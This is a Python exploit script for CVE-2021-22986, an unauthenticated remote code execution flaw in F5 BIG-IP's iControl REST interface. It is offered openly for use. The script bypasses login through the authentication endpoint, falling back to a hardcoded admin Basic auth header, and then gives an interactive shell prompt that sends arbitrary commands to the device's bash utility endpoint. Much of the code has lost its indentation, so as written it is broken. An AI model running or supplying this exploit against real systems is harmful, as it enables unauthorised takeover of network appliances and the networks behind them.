F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)

# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
# Exploit Author: Al1ex
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2
# CVE : CVE-2021-22986

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys


def title():
    print('''
      ______ ____    ____  _______       ___     ___    ___    __        ___    ___     ___     ___      __   
     /      |\   \  /   / |   ____|     |__ \   / _ \  |__ \  /_ |      |__ \  |__ \   / _ \   / _ \    / /   
    |  ,----' \   \/   /  |  |__    ______ ) | | | | |    ) |  | |  ______ ) |    ) | | (_) | | (_) |  / /_   
    |  |       \      /   |   __|  |______/ /  | | | |   / /   | | |______/ /    / /   \__, |  > _ <  | '_ \  
    |  `----.   \    /    |  |____       / /_  | |_| |  / /_   | |       / /_   / /_     / /  | (_) | | (_) | 
     \______|    \__/     |_______|     |____|  \___/  |____|  |_|      |____| |____|   /_/    \___/   \___/                                                                                                                                                                             
    
                                Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex
    ''')   

def exploit(url):
target_url = url + '/mgmt/shared/authn/login'
data = {
"bigipAuthCookie":"",
"username":"admin",
"loginReference":{"link":"/shared/gossip"},
"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
}
headers = {
"User-Agent": "hello-world",
"Content-Type":"application/x-www-form-urlencoded"
}
response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
if "/mgmt/shared/authz/tokens/" not in response.text:
print('(-) Get token fail !!!')
print('(*) Tested Method 2:') 
header_2 = {
    'User-Agent': 'hello-world',
    'Content-Type': 'application/json',
    'X-F5-Auth-Token': '',
    'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data_2 = {
"command": "run", 
"utilCmdArgs": "-c whoami"
}
check_url = url + '/mgmt/tm/util/bash'
try:
response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
if response2.status_code == 200 and 'commandResult' in response2.text:
while True:
cmd = input("(:CMD)> ")
data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
if r.status_code == 200 and 'commandResult' in r.text:
print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
except Exception:
print('ERROR Connect')
print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
while True:
cmd = input("(:CMD)> ")
headers = {
"Content-Type": "application/json",
"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
}
data_json = {
"command": "run", 
"utilCmdArgs": "-c \'%s\'"%(cmd)
}
exp_url= url + '/mgmt/tm/util/bash'
exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    exit(0)
    else:
    exploit(sys.argv[1])

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